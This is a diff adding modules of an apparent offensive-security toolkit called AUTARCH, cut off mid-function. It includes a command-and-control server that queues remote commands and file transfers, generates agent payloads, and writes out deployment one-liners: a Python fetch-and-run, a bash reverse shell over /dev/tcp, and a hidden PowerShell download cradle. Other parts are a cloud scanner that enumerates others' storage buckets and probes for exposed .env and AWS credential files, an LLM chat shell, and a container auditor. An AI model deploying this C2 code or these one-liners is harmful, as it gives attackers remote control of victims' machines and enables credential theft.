agent_id=agent_id, + type=task_type, + data=data or {}, + created_at=datetime.now(timezone.utc).isoformat(), + ) + self._tasks[task_id] = task + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + self._agent_tasks[agent_id].append(task_id) + + return {'ok': True, 'task_id': task_id} + + def execute_command(self, agent_id: str, command: str) -> dict: + """Shortcut to queue an exec task.""" + return self.queue_task(agent_id, 'exec', {'command': command}) + + def download_file(self, agent_id: str, remote_path: str) -> dict: + return self.queue_task(agent_id, 'download', {'path': remote_path}) + + def upload_file(self, agent_id: str, remote_path: str, + file_data: bytes) -> dict: + encoded = base64.b64encode(file_data).decode() + return self.queue_task(agent_id, 'upload', + {'path': remote_path, 'data': encoded}) + + def get_task_result(self, task_id: str) -> dict: + task = self._tasks.get(task_id) + if not task: + return {'ok': False, 'error': 'Task not found'} + return { + 'ok': True, + 'task_id': task.id, + 'status': task.status, + 'result': task.result, + 'created_at': task.created_at, + 'completed_at': task.completed_at, + } + + def list_tasks(self, agent_id: str = '') -> List[dict]: + tasks = [] + for t in self._tasks.values(): + if agent_id and t.agent_id != agent_id: + continue + tasks.append({ + 'id': t.id, 'agent_id': t.agent_id, 'type': t.type, + 'status': t.status, 'created_at': t.created_at, + 'completed_at': t.completed_at, + 'has_result': t.result is not None, + }) + return tasks + + # ── Agent Generation ────────────────────────────────────────────────── + + def generate_agent(self, host: str, port: int = 4444, + agent_type: str = 'python', + interval: int = 5, jitter: int = 2) -> dict: + """Generate a C2 agent payload.""" + agent_id = secrets.token_hex(4) + + if agent_type == 'python': + code = PYTHON_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + jitter=jitter, agent_id=agent_id) + elif agent_type == 'bash': + code = BASH_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + elif agent_type == 'powershell': + code = POWERSHELL_AGENT_TEMPLATE.format( + host=host, port=port, interval=interval, + agent_id=agent_id) + else: + return {'ok': False, 'error': f'Unknown agent type: {agent_type}'} + + # Save to file + ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type] + filename = f'agent_{agent_id}.{ext}' + filepath = os.path.join(self._data_dir, filename) + with open(filepath, 'w') as f: + f.write(code) + + return { + 'ok': True, + 'agent_id': agent_id, + 'filename': filename, + 'filepath': filepath, + 'code': code, + 'type': agent_type, + } + + # ── One-liners ──────────────────────────────────────────────────────── + + def get_oneliner(self, host: str, port: int = 4444, + agent_type: str = 'python') -> dict: + """Generate a one-liner to deploy the agent.""" + if agent_type == 'python': + liner = (f"python3 -c \"import urllib.request,os,tempfile;" + f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);" + f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());" + f"f.close();os.system('python3 '+f.name+' &')\"") + elif agent_type == 'bash': + liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'" + elif agent_type == 'powershell': + liner = (f"powershell -nop -w hidden -c " + f"\"IEX(New-Object Net.WebClient).DownloadString" + f"('http://{host}:{port+1}/agent.ps1')\"") + else: + return {'ok': False, 'error': 'Unknown type'} + + return {'ok': True, 'oneliner': liner, 'type': agent_type} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_c2_server() -> C2Server: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = C2Server() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for C2 Framework.""" + svc = get_c2_server() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ C2 FRAMEWORK ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Start Listener ║") + print("║ 2 — Stop Listener ║") + print("║ 3 — List Agents ║") + print("║ 4 — Interact with Agent ║") + print("║ 5 — Generate Agent Payload ║") + print("║ 6 — Get One-Liner ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + name = input(" Listener name: ").strip() or 'default' + port = int(input(" Port (4444): ").strip() or '4444') + r = svc.start_listener(name, port=port) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '2': + listeners = svc.list_listeners() + if not listeners: + print(" No listeners.") + continue + for l in listeners: + print(f" {l['name']} — {l['host']}:{l['port']} ({l['connections']} connections)") + name = input(" Stop which: ").strip() + if name: + r = svc.stop_listener(name) + print(f" {r.get('message', r.get('error', ''))}") + elif choice == '3': + agents = svc.list_agents() + if not agents: + print(" No agents.") + continue + for a in agents: + print(f" [{a['status']:6s}] {a['id']} — {a['user']}@{a['hostname']} " + f"({a['os']}) from {a['remote_addr']}") + elif choice == '4': + aid = input(" Agent ID: ").strip() + if not aid: + continue + print(f" Interacting with {aid} (type 'exit' to return)") + while True: + cmd = input(f" [{aid}]> ").strip() + if cmd in ('exit', 'quit', ''): + break + r = svc.execute_command(aid, cmd) + if not r.get('ok'): + print(f" Error: {r.get('error')}") + continue + # Poll for result + for _ in range(30): + time.sleep(1) + result = svc.get_task_result(r['task_id']) + if result.get('status') in ('completed', 'failed'): + if result.get('result'): + out = result['result'].get('stdout', '') + err = result['result'].get('stderr', '') + if out: + print(out) + if err: + print(f" [stderr] {err}") + break + else: + print(" [timeout] No response within 30s") + elif choice == '5': + host = input(" Callback host: ").strip() + port = int(input(" Callback port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.generate_agent(host, port, atype) + if r.get('ok'): + print(f" Agent saved to: {r['filepath']}") + else: + print(f" Error: {r.get('error')}") + elif choice == '6': + host = input(" Host: ").strip() + port = int(input(" Port (4444): ").strip() or '4444') + atype = input(" Type (python/bash/powershell): ").strip() or 'python' + r = svc.get_oneliner(host, port, atype) + if r.get('ok'): + print(f"\n {r['oneliner']}\n") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/chat.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/chat.py new file mode 100644 index 0000000..1745d45 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/chat.py @@ -0,0 +1,270 @@ +""" +AUTARCH Chat Module +Interactive chat interface for the LLM + +This module provides a command-line chat interface to interact with the loaded model. +""" + +import sys +from pathlib import Path + +# Module metadata +DESCRIPTION = "Interactive chat with the LLM" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "core" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.llm import get_llm, LLMError +from core.banner import Colors, clear_screen, display_banner + + +class ChatInterface: + """Interactive chat interface for AUTARCH LLM.""" + + COMMANDS = { + '/help': 'Show available commands', + '/clear': 'Clear conversation history', + '/history': 'Show conversation history', + '/info': 'Show model information', + '/system': 'Set system prompt (e.g., /system You are a helpful assistant)', + '/temp': 'Set temperature (e.g., /temp 0.8)', + '/tokens': 'Set max tokens (e.g., /tokens 1024)', + '/stream': 'Toggle streaming mode', + '/exit': 'Exit chat', + } + + def __init__(self): + self.llm = get_llm() + self.system_prompt = "You are AUTARCH, an AI assistant created by darkHal and Setec Security Labs. You are helpful, knowledgeable, and direct in your responses." + self.streaming = True + self.temp_override = None + self.tokens_override = None + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def print_help(self): + """Display available commands.""" + print(f"\n{Colors.BOLD}{Colors.WHITE}Available Commands:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + for cmd, desc in self.COMMANDS.items(): + print(f" {Colors.CYAN}{cmd:12}{Colors.RESET} {desc}") + print() + + def print_history(self): + """Display conversation history.""" + history = self.llm.get_history() + if not history: + self.print_status("No conversation history", "info") + return + + print(f"\n{Colors.BOLD}{Colors.WHITE}Conversation History:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + for msg in history: + role = msg['role'] + content = msg['content'] + + if role == 'system': + print(f"\n{Colors.MAGENTA}[System]{Colors.RESET}") + print(f" {Colors.DIM}{content[:100]}...{Colors.RESET}" if len(content) > 100 else f" {Colors.DIM}{content}{Colors.RESET}") + elif role == 'user': + print(f"\n{Colors.GREEN}[You]{Colors.RESET}") + print(f" {content}") + elif role == 'assistant': + print(f"\n{Colors.CYAN}[AUTARCH]{Colors.RESET}") + # Truncate long responses in history view + if len(content) > 200: + print(f" {content[:200]}...") + else: + print(f" {content}") + print() + + def print_model_info(self): + """Display model information.""" + info = self.llm.get_model_info() + + print(f"\n{Colors.BOLD}{Colors.WHITE}Model Information:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + if info['loaded']: + print(f" {Colors.CYAN}Model:{Colors.RESET} {info['model_name']}") + print(f" {Colors.CYAN}Context Size:{Colors.RESET} {info['n_ctx']}") + print(f" {Colors.CYAN}Vocabulary:{Colors.RESET} {info['n_vocab']}") + print(f" {Colors.CYAN}Streaming:{Colors.RESET} {'Enabled' if self.streaming else 'Disabled'}") + + if self.temp_override: + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {self.temp_override} (override)") + if self.tokens_override: + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {self.tokens_override} (override)") + else: + print(f" {Colors.YELLOW}No model loaded{Colors.RESET}") + print() + + def handle_command(self, command: str) -> bool: + """Handle a chat command. + + Args: + command: The command string. + + Returns: + True if should continue chat, False if should exit. + """ + parts = command.split(maxsplit=1) + cmd = parts[0].lower() + args = parts[1] if len(parts) > 1 else "" + + if cmd == '/help': + self.print_help() + + elif cmd == '/clear': + self.llm.clear_history() + self.print_status("Conversation history cleared", "success") + + elif cmd == '/history': + self.print_history() + + elif cmd == '/info': + self.print_model_info() + + elif cmd == '/system': + if args: + self.system_prompt = args + self.llm.clear_history() # Clear history when changing system prompt + self.print_status(f"System prompt set: {args[:50]}...", "success") + else: + print(f" {Colors.CYAN}Current:{Colors.RESET} {self.system_prompt}") + + elif cmd == '/temp': + if args: + try: + temp = float(args) + if 0.0 <= temp <= 2.0: + self.temp_override = temp + self.print_status(f"Temperature set to {temp}", "success") + else: + self.print_status("Temperature must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid temperature value", "error") + else: + self.print_status(f"Current temperature: {self.temp_override or 'default'}", "info") + + elif cmd == '/tokens': + if args: + try: + tokens = int(args) + if tokens > 0: + self.tokens_override = tokens + self.print_status(f"Max tokens set to {tokens}", "success") + else: + self.print_status("Max tokens must be positive", "error") + except ValueError: + self.print_status("Invalid token value", "error") + else: + self.print_status(f"Current max tokens: {self.tokens_override or 'default'}", "info") + + elif cmd == '/stream': + self.streaming = not self.streaming + self.print_status(f"Streaming {'enabled' if self.streaming else 'disabled'}", "success") + + elif cmd in ['/exit', '/quit', '/q']: + return False + + else: + self.print_status(f"Unknown command: {cmd}. Type /help for commands.", "warning") + + return True + + def chat_loop(self): + """Main chat loop.""" + print(f"\n{Colors.GREEN}[+] Chat started. Type /help for commands, /exit to quit.{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + while True: + try: + # Get user input + user_input = input(f"{Colors.GREEN}You:{Colors.RESET} ").strip() + + if not user_input: + continue + + # Handle commands + if user_input.startswith('/'): + if not self.handle_command(user_input): + break + continue + + # Generate response + print(f"\n{Colors.CYAN}AUTARCH:{Colors.RESET} ", end="", flush=True) + + kwargs = {} + if self.temp_override is not None: + kwargs['temperature'] = self.temp_override + if self.tokens_override is not None: + kwargs['max_tokens'] = self.tokens_override + + try: + if self.streaming: + # Streaming response + for token in self.llm.chat( + user_input, + system_prompt=self.system_prompt, + stream=True, + **kwargs + ): + print(token, end="", flush=True) + print("\n") + else: + # Non-streaming response + response = self.llm.chat( + user_input, + system_prompt=self.system_prompt, + stream=False, + **kwargs + ) + print(f"{response}\n") + + except LLMError as e: + print() + self.print_status(f"Generation error: {e}", "error") + + except (EOFError, KeyboardInterrupt): + print(f"\n\n{Colors.CYAN}Chat ended.{Colors.RESET}") + break + + def run(self): + """Run the chat interface.""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Chat Interface{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Check if model is loaded + if not self.llm.is_loaded: + self.print_status("Loading model...", "info") + try: + self.llm.load_model(verbose=True) + except LLMError as e: + self.print_status(f"Failed to load model: {e}", "error") + self.print_status("Please run setup to configure a model.", "warning") + return + + self.print_model_info() + self.chat_loop() + + +def run(): + """Module entry point.""" + chat = ChatInterface() + chat.run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/cloud_scan.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/cloud_scan.py new file mode 100644 index 0000000..94398d1 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/cloud_scan.py @@ -0,0 +1,448 @@ +"""AUTARCH Cloud Security Scanner + +AWS/Azure/GCP bucket enumeration, IAM misconfiguration detection, exposed +service scanning, and cloud resource discovery. +""" + +DESCRIPTION = "Cloud infrastructure security scanning" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +# ── Cloud Provider Endpoints ───────────────────────────────────────────────── + +AWS_REGIONS = [ + 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', + 'eu-west-1', 'eu-west-2', 'eu-central-1', + 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', +] + +COMMON_BUCKET_NAMES = [ + 'backup', 'backups', 'data', 'dev', 'staging', 'prod', 'production', + 'logs', 'assets', 'media', 'uploads', 'images', 'static', 'public', + 'private', 'internal', 'config', 'configs', 'db', 'database', + 'archive', 'old', 'temp', 'tmp', 'test', 'debug', 'admin', + 'www', 'web', 'api', 'app', 'mobile', 'docs', 'documents', + 'reports', 'export', 'import', 'share', 'shared', +] + +METADATA_ENDPOINTS = { + 'aws': 'http://169.254.169.254/latest/meta-data/', + 'gcp': 'http://metadata.google.internal/computeMetadata/v1/', + 'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01', + 'digitalocean': 'http://169.254.169.254/metadata/v1/', +} + + +# ── Cloud Scanner ──────────────────────────────────────────────────────────── + +class CloudScanner: + """Cloud infrastructure security scanner.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'cloud_scan') + os.makedirs(self.data_dir, exist_ok=True) + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + # ── S3 Bucket Enumeration ──────────────────────────────────────────── + + def enum_s3_buckets(self, keyword: str, prefixes: List[str] = None, + suffixes: List[str] = None) -> str: + """Enumerate S3 buckets with naming permutations. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f's3enum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 's3_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + prefixes_list = prefixes or ['', 'dev-', 'staging-', 'prod-', 'test-', 'backup-'] + suffixes_list = suffixes or ['', '-backup', '-data', '-assets', '-logs', '-dev', + '-staging', '-prod', '-public', '-private'] + + bucket_names = set() + for pfx in prefixes_list: + for sfx in suffixes_list: + bucket_names.add(f'{pfx}{keyword}{sfx}') + # Add common patterns + for common in COMMON_BUCKET_NAMES: + bucket_names.add(f'{keyword}-{common}') + bucket_names.add(f'{common}-{keyword}') + + self._jobs[job_id]['total'] = len(bucket_names) + found = [] + + for name in bucket_names: + try: + # Check S3 bucket + url = f'https://{name}.s3.amazonaws.com' + resp = requests.head(url, timeout=5, allow_redirects=True) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + # Try listing + list_resp = requests.get(url, timeout=5) + listable = ' str: + """Enumerate Google Cloud Storage buckets. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'gcsenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'gcs_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + names = set() + for suffix in ['', '-data', '-backup', '-assets', '-staging', '-prod', '-dev', '-logs']: + names.add(f'{keyword}{suffix}') + + self._jobs[job_id]['total'] = len(names) + found = [] + + for name in names: + try: + url = f'https://storage.googleapis.com/{name}' + resp = requests.head(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code in (200, 403): + found.append({ + 'bucket': name, 'provider': 'gcp', + 'url': url, 'status': resp.status_code, + 'public': resp.status_code == 200 + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Azure Blob Enumeration ─────────────────────────────────────────── + + def enum_azure_blobs(self, keyword: str) -> str: + """Enumerate Azure Blob Storage containers. Returns job_id.""" + if not HAS_REQUESTS: + return '' + + job_id = f'azureenum_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'azure_enum', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _enum(): + # Storage account names + accounts = [keyword, f'{keyword}storage', f'{keyword}data', + f'{keyword}backup', f'{keyword}dev', f'{keyword}prod'] + containers = ['$web', 'data', 'backup', 'uploads', 'assets', + 'logs', 'public', 'media', 'images'] + + total = len(accounts) * len(containers) + self._jobs[job_id]['total'] = total + found = [] + + for account in accounts: + for container in containers: + try: + url = f'https://{account}.blob.core.windows.net/{container}?restype=container&comp=list' + resp = requests.get(url, timeout=5) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code == 200: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': resp.status_code, 'public': True + }) + elif resp.status_code == 403: + found.append({ + 'account': account, 'container': container, + 'provider': 'azure', 'url': url, + 'status': 403, 'exists': True, 'public': False + }) + except Exception: + self._jobs[job_id]['checked'] += 1 + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_enum, daemon=True).start() + return job_id + + # ── Exposed Services ───────────────────────────────────────────────── + + def scan_exposed_services(self, target: str) -> Dict: + """Check for commonly exposed cloud services on a target.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + services = [] + checks = [ + ('/server-status', 'Apache Status'), + ('/nginx_status', 'Nginx Status'), + ('/.env', 'Environment File'), + ('/.git/config', 'Git Config'), + ('/.aws/credentials', 'AWS Credentials'), + ('/wp-config.php.bak', 'WordPress Config Backup'), + ('/phpinfo.php', 'PHP Info'), + ('/debug', 'Debug Endpoint'), + ('/actuator', 'Spring Actuator'), + ('/actuator/env', 'Spring Env'), + ('/api/swagger.json', 'Swagger/OpenAPI Spec'), + ('/.well-known/security.txt', 'Security Policy'), + ('/robots.txt', 'Robots.txt'), + ('/sitemap.xml', 'Sitemap'), + ('/graphql', 'GraphQL Endpoint'), + ('/console', 'Console'), + ('/admin', 'Admin Panel'), + ('/wp-admin', 'WordPress Admin'), + ('/phpmyadmin', 'phpMyAdmin'), + ] + + for path, name in checks: + try: + url = f'{target.rstrip("/")}{path}' + resp = requests.get(url, timeout=5, allow_redirects=False) + if resp.status_code == 200: + # Check content for sensitive data + sensitive = False + body = resp.text[:2000].lower() + sensitive_indicators = [ + 'password', 'secret', 'access_key', 'private_key', + 'database', 'db_host', 'smtp_pass', 'api_key' + ] + if any(ind in body for ind in sensitive_indicators): + sensitive = True + + services.append({ + 'path': path, 'name': name, + 'url': url, 'status': resp.status_code, + 'size': len(resp.content), + 'sensitive': sensitive, + 'content_type': resp.headers.get('content-type', '') + }) + except Exception: + pass + + return { + 'ok': True, + 'target': target, + 'services': services, + 'count': len(services) + } + + # ── Metadata SSRF Check ────────────────────────────────────────────── + + def check_metadata_access(self) -> Dict: + """Check if cloud metadata service is accessible (SSRF indicator).""" + results = {} + for provider, url in METADATA_ENDPOINTS.items(): + try: + headers = {} + if provider == 'gcp': + headers['Metadata-Flavor'] = 'Google' + + resp = requests.get(url, headers=headers, timeout=3) + results[provider] = { + 'accessible': resp.status_code == 200, + 'status': resp.status_code, + 'content_preview': resp.text[:200] if resp.status_code == 200 else '' + } + except Exception: + results[provider] = {'accessible': False, 'error': 'Connection failed'} + + return {'ok': True, 'metadata': results} + + # ── Subdomain / DNS Enumeration for Cloud ──────────────────────────── + + def enum_cloud_subdomains(self, domain: str) -> Dict: + """Check for cloud-specific subdomains.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + cloud_prefixes = [ + 'aws', 's3', 'ec2', 'lambda', 'api', 'cdn', + 'azure', 'blob', 'cloud', 'gcp', 'storage', + 'dev', 'staging', 'prod', 'admin', 'internal', + 'vpn', 'mail', 'smtp', 'imap', 'ftp', 'ssh', + 'db', 'database', 'redis', 'elastic', 'kibana', + 'grafana', 'prometheus', 'jenkins', 'gitlab', 'docker', + 'k8s', 'kubernetes', 'consul', 'vault', 'traefik', + ] + + found = [] + import socket + for prefix in cloud_prefixes: + subdomain = f'{prefix}.{domain}' + try: + ip = socket.gethostbyname(subdomain) + found.append({ + 'subdomain': subdomain, + 'ip': ip, + 'cloud_hint': self._identify_cloud_ip(ip) + }) + except socket.gaierror: + pass + + return {'ok': True, 'domain': domain, 'subdomains': found, 'count': len(found)} + + def _identify_cloud_ip(self, ip: str) -> str: + """Try to identify cloud provider from IP.""" + # Rough range checks + octets = ip.split('.') + if len(octets) == 4: + first = int(octets[0]) + if first in (3, 18, 52, 54, 35): + return 'AWS' + elif first in (20, 40, 52, 104, 13): + return 'Azure' + elif first in (34, 35, 104, 142): + return 'GCP' + return 'Unknown' + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + # ── Save Results ───────────────────────────────────────────────────── + + def save_results(self, name: str, results: Dict) -> Dict: + """Save scan results.""" + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump(results, f, indent=2) + return {'ok': True, 'path': filepath} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_cloud_scanner() -> CloudScanner: + global _instance + if _instance is None: + _instance = CloudScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Cloud Security module.""" + if not HAS_REQUESTS: + print(" Error: requests library required") + return + + scanner = get_cloud_scanner() + + while True: + print(f"\n{'='*60}") + print(f" Cloud Security Scanner") + print(f"{'='*60}") + print() + print(" 1 — Enumerate S3 Buckets (AWS)") + print(" 2 — Enumerate GCS Buckets (Google)") + print(" 3 — Enumerate Azure Blobs") + print(" 4 — Scan Exposed Services") + print(" 5 — Check Metadata Access (SSRF)") + print(" 6 — Cloud Subdomain Enum") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + kw = input(" Target keyword: ").strip() + if kw: + job_id = scanner.enum_s3_buckets(kw) + print(f" Scanning... (job: {job_id})") + while True: + job = scanner.get_job(job_id) + if job['status'] == 'complete': + for b in job['found']: + status = 'PUBLIC+LISTABLE' if b.get('listable') else \ + ('PUBLIC' if b.get('public') else 'EXISTS') + print(f" [{status}] {b['bucket']}") + if not job['found']: + print(" No buckets found") + break + time.sleep(1) + elif choice == '4': + target = input(" Target URL: ").strip() + if target: + result = scanner.scan_exposed_services(target) + for s in result['services']: + flag = ' [SENSITIVE]' if s.get('sensitive') else '' + print(f" {s['path']}: {s['name']}{flag}") + elif choice == '5': + result = scanner.check_metadata_access() + for provider, info in result['metadata'].items(): + status = 'ACCESSIBLE' if info.get('accessible') else 'blocked' + print(f" {provider}: {status}") + elif choice == '6': + domain = input(" Target domain: ").strip() + if domain: + result = scanner.enum_cloud_subdomains(domain) + for s in result['subdomains']: + print(f" {s['subdomain']} → {s['ip']} ({s['cloud_hint']})") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/container_sec.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/container_sec.py new file mode 100644 index 0000000..70203a3 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/container_sec.py @@ -0,0 +1,1482 @@ +"""AUTARCH Container Security + +Docker auditing, Kubernetes assessment, container image scanning, +escape detection, Dockerfile linting, and runtime monitoring. +""" + +DESCRIPTION = "Container security — Docker & Kubernetes auditing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import sys +import json +import subprocess +import platform +import time +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + import shutil + + def find_tool(name): + return shutil.which(name) + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = '' + + def clear_screen(): + pass + + def display_banner(): + pass + + +# ── Dangerous Docker capabilities ─────────────────────────────────────────── + +DANGEROUS_CAPS = [ + 'SYS_ADMIN', 'NET_ADMIN', 'SYS_PTRACE', 'SYS_RAWIO', + 'DAC_OVERRIDE', 'FOWNER', 'NET_RAW', 'MKNOD', 'SYS_CHROOT', + 'AUDIT_WRITE', 'SETFCAP', 'MAC_OVERRIDE', 'MAC_ADMIN', + 'SYSLOG', 'DAC_READ_SEARCH', 'LINUX_IMMUTABLE', 'SYS_BOOT', + 'SYS_MODULE', 'SYS_TIME', 'KILL', +] + +SENSITIVE_MOUNTS = [ + '/var/run/docker.sock', '/run/docker.sock', + '/proc', '/sys', '/dev', '/etc/shadow', '/etc/passwd', + '/root', '/home', '/var/log', +] + +DEFAULT_SECCOMP_PROFILE = 'runtime/default' + +# ── Dockerfile Lint Rules ─────────────────────────────────────────────────── + +DOCKERFILE_RULES = { + 'DL001': {'severity': 'high', 'title': 'FROM uses :latest tag', + 'desc': 'Pin image versions for reproducible builds.'}, + 'DL002': {'severity': 'high', 'title': 'No USER directive', + 'desc': 'Container runs as root by default. Add a USER directive.'}, + 'DL003': {'severity': 'medium', 'title': 'ADD used instead of COPY', + 'desc': 'Use COPY for local files. ADD auto-extracts and supports URLs.'}, + 'DL004': {'severity': 'high', 'title': 'Secrets in ENV/ARG', + 'desc': 'Avoid passing secrets via ENV or ARG. Use build secrets.'}, + 'DL005': {'severity': 'low', 'title': 'Missing HEALTHCHECK', + 'desc': 'Add HEALTHCHECK for container orchestration readiness.'}, + 'DL006': {'severity': 'medium', 'title': 'apt-get without --no-install-recommends', + 'desc': 'Use --no-install-recommends to reduce image size.'}, + 'DL007': {'severity': 'low', 'title': 'Missing cache cleanup', + 'desc': 'Run apt-get clean / rm -rf /var/lib/apt/lists/* after install.'}, + 'DL008': {'severity': 'medium', 'title': 'EXPOSE all interfaces', + 'desc': 'Avoid EXPOSE with 0.0.0.0; bind to specific interfaces.'}, + 'DL009': {'severity': 'high', 'title': 'COPY / ADD of sensitive files', + 'desc': 'Avoid copying .env, credentials, or private keys into image.'}, + 'DL010': {'severity': 'medium', 'title': 'Using sudo in RUN', + 'desc': 'Avoid sudo in Dockerfiles. Use USER directive instead.'}, + 'DL011': {'severity': 'low', 'title': 'Multiple consecutive RUN commands', + 'desc': 'Chain RUN commands with && to reduce layers.'}, +} + +SECRET_PATTERNS = re.compile( + r'(password|secret|token|api_key|apikey|access_key|private_key|' + r'aws_secret|db_pass|database_url|auth_token)', + re.IGNORECASE +) + +SENSITIVE_FILE_PATTERNS = re.compile( + r'\.(pem|key|p12|pfx|env|credentials|htpasswd|pgpass)$', + re.IGNORECASE +) + + +# ── ContainerSecurity Class ───────────────────────────────────────────────── + +class ContainerSecurity: + """Docker and Kubernetes security auditing engine.""" + + _instance = None + + def __init__(self): + data = Path(str(get_data_dir())) / 'container_sec' + data.mkdir(parents=True, exist_ok=True) + self._data_dir = data + self._results_path = data / 'results.json' + self._results = { + 'docker_host': [], + 'container_audits': {}, + 'image_scans': {}, + 'dockerfile_lints': [], + 'k8s_audits': {}, + 'escape_checks': {}, + 'timestamp': None, + } + self._is_win = platform.system() == 'Windows' + + # ── helpers ────────────────────────────────────────────────────────────── + + def _run(self, cmd: str, timeout: int = 30) -> tuple: + """Run a shell command. Returns (success: bool, stdout: str).""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + def _run_json(self, cmd: str, timeout: int = 30) -> tuple: + """Run command expecting JSON output. Returns (success, parsed_data).""" + ok, raw = self._run(cmd, timeout=timeout) + if not ok: + return False, raw + try: + return True, json.loads(raw) + except (json.JSONDecodeError, ValueError): + return False, raw + + def _save_results(self): + self._results['timestamp'] = datetime.utcnow().isoformat() + try: + with open(self._results_path, 'w') as f: + json.dump(self._results, f, indent=2, default=str) + except Exception: + pass + + # ── tool checks ────────────────────────────────────────────────────────── + + def check_docker_installed(self) -> dict: + """Check if Docker CLI is available.""" + docker = find_tool('docker') + if not docker: + return {'installed': False, 'path': None, 'version': None} + ok, ver = 